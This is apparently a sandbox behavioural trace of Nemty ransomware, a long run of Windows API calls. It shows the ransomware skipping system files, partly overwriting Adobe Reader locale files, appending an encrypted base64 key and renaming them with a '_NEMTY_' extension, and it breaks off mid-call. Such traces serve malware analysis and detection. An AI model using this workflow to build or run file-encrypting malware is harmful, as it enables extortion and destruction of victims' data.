[0176.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.264] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\pddom.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\pddom.euq._nemty_kgobjgd_")) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.265] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.EUQ", cAlternateFileName="")) returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2=".") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="..") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="...") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="windows") returned -1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="rsa") returned -1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="ntldr") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="IO.SYS") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="boot.ini") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="boot.ini") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="ntuser.dat") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="desktop.ini") returned 1 [0176.265] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.266] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="RECYCLER") returned -1 [0176.266] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.266] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="bootmgr") returned 1 [0176.266] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="programdata") returned -1 [0176.266] lstrcmpiW (lpString1="PPKLite.EUQ", lpString2="appdata") returned 1 [0176.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.EUQ", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.266] Sleep (dwMilliseconds=0x5) [0176.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cb77630, dwHighDateTime=0x1d561e8)) [0176.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cb77630, dwHighDateTime=0x1d561e8)) [0176.278] GetLastError () returned 0x0 [0176.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.278] GetLastError () returned 0x0 [0176.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.278] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.278] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.279] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.279] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="f6mWZYZN8a28unDnstjDCUCx/fUczTwUhM28NWAl7u2tigTjpSRaQyDTXTks/Dp7\r\nRDbyvqKo+mVj/Uh+zr/Xj0IiV0NPOaDXhva/I26fTHzIVx5/vUAXiT/f28c0a0V+\r\n/muuMs9RtOC7II+5m4y0LYSTvnTEhevv84nfxtNnvbwbESRQKLlZJ5LoKPYCD0QQ\r\n+zSTjfjj/HS0a1q9BIwA1MOLz86PQxEox2x/Vjb2NnHKVoatr2aKCibutokP7E95\r\nKHyeREI0Bh0mVulJYyUg9V5Gn7kM/y2L7TsUZwV7oXZ3dlqYWKc6Iok52xv71m7O\r\ncPTdyiCol3rPJis7NoRdKQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.279] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=529408) returned 1 [0176.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.279] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.279] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.288] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.288] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.288] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=529408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x81400 [0176.288] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.290] CloseHandle (hObject=0x2e8) returned 1 [0176.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.290] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq._nemty_kgobjgd_")) returned 1 [0176.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.291] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.EUQ", cAlternateFileName="")) returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2=".") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="..") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="...") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="windows") returned -1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="rsa") returned -1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="ntldr") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="IO.SYS") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="boot.ini") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="boot.ini") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="ntuser.dat") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="desktop.ini") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="RECYCLER") returned -1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="bootmgr") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="programdata") returned 1 [0176.291] lstrcmpiW (lpString1="RdLang32.EUQ", lpString2="appdata") returned 1 [0176.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.EUQ", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.292] Sleep (dwMilliseconds=0x5) [0176.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cb9d790, dwHighDateTime=0x1d561e8)) [0176.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cb9d790, dwHighDateTime=0x1d561e8)) [0176.293] GetLastError () returned 0x0 [0176.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.293] GetLastError () returned 0x0 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.294] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.294] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Zg9jPDkJbozPmQHCrlF9ZMgWGGOFhIBMPIWtzJVNz73NOne4EUc3Ud/1OzKq/NgG\r\nAGDkfNR4CqIWWEDuX0kkY4G+HZWryjZDrU3kMEAb51qKvJbCJNZK38JMOL/ZiUsv\r\nsa3r7vzGWsOv1d5mTobcsPGm5qWAzriLsrCa8K9UA+Dnhtp3MhcX2JF4bx6fKVAj\r\nmA4brQRmcjNJl2Yy7bjjOmqeFK3ZWnaGaaxJsheQS9vr5lVYyMGALoHBzXjYdDgm\r\nJSTNAbbdgCBOA8AWbaPWNIeoN9aKG0gKOVZcyiC11wKEfgS7waahu09+3Povimc9\r\n/MwXS+KG8p8R9y3ghgBCWA==\r\n", pcchString=0x653e5dc) returned 1 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\rdlang32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.294] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1368064) returned 1 [0176.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.294] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.295] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.303] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.303] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.304] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1368064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e000 [0176.304] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, 